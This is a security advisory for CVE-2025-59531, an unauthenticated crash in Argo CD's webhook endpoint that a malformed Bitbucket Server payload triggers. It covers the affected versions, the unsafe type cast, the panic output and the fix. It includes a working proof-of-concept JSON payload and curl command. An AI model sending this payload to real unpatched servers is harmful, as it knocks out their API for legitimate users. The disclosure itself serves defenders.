Vulnerability from cvelistv5 – Published: 2025-10-01 20:49 – Updated: 2025-10-02 15:54

Title

Unauthenticated argocd-server panic via a malicious Bitbucket-Server webhook payload

Summary

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Versions 1.2.0 through 1.8.7, 2.0.0-rc1 through 2.14.19, 3.0.0-rc1 through 3.2.0-rc1, 3.1.7 and 3.0.18 are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients. Without a configured webhook.bitbucketserver.secret, Argo CD's /api/webhook endpoint crashes when receiving a malformed Bitbucket Server payload (non-array repository.links.clone field). A single unauthenticated request triggers CrashLoopBackOff, and targeting all replicas causes complete API outage. This issue is fixed in versions 2.14.20, 3.2.0-rc2, 3.1.8 and 3.0.19.

Vulnerability from github – Published: 2025-09-30 18:11 – Updated: 2025-10-23 20:21

Summary

Unauthenticated argocd-server panic via a malicious Bitbucket-Server webhook payload

Details

Summary

Unpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients.

With the default configuration, no webhook.bitbucketserver.secret set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Bitbucket-Server push event whose JSON field repository.links.clone is anything other than an array.

A single unauthenticated curl request can push the control-plane into CrashLoopBackOff; repeating the request on each replica causes a complete outage of the API.

Details

// webhook.go (Bitbucket-Server branch in affectedRevisionInfo)

for _, l := range payload.Repository.Links["clone"].([]any) {   // <- unsafe cast
    link := l.(map[string]any)
    ...
}

If links.clone is a string, number, object, or null, the first type assertion panics: interface conversion: interface {} is string, not []interface {}

The worker goroutine created by startWorkerPool lacks a recover, so the panic terminates the whole binary.

PoC

Save as payload-panic.json - note the non-array links.clone.

{
  "eventKey": "repo:refs_changed",
  "repository": {
    "name": "guestbook",
    "fullName": "APP/guestbook",
    "links": { "clone": "boom" }
  },
  "changes": [ { "ref": { "id": "refs/heads/master" } } ]
}

curl -k -X POST https://argocd.example.com/api/webhook \
     -H 'X-Event-Key: repo:refs_changed' \
     -H 'Content-Type: application/json' \
     --data-binary @payload-panic.json

Observed crash (argocd-server restart):

panic: interface conversion: interface {} is string, not []interface {}
goroutine 192 [running]:
github.com/argoproj/argo-cd/v3/server/webhook.affectedRevisionInfo
    webhook.go:209 +0x1218
...

Mitigation

If you use Bitbucket Server and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.

If you do not use Bitbucket Server, you can set the webhook secret to a long, random value to effectively disable webhook handling for Bitbucket Server payloads.

apiVersion: v1
kind: Secret
metadata:
  name: argocd-secret
type: Opaque
data:
+  webhook.bitbucketserver.secret: <your base64-encoded secret here>

CVE-2025-59531

A denial of service vulnerability was identified in the Argo CD continuous delivery tool, which is distributed as part of Red Hat GitOps product. An unauthenticated attacker can exploit this flaw by sending a specially crafted request to the Application Programming Interface (API) webhook endpoint. This action causes the API server to crash, preventing it from restarting properly. By repeatedly targeting the server, an attacker can cause a complete service outage, making the Argo CD interface unavailable to all users. This vulnerability is only exposed in configurations where a specific webhook secret has not been set.
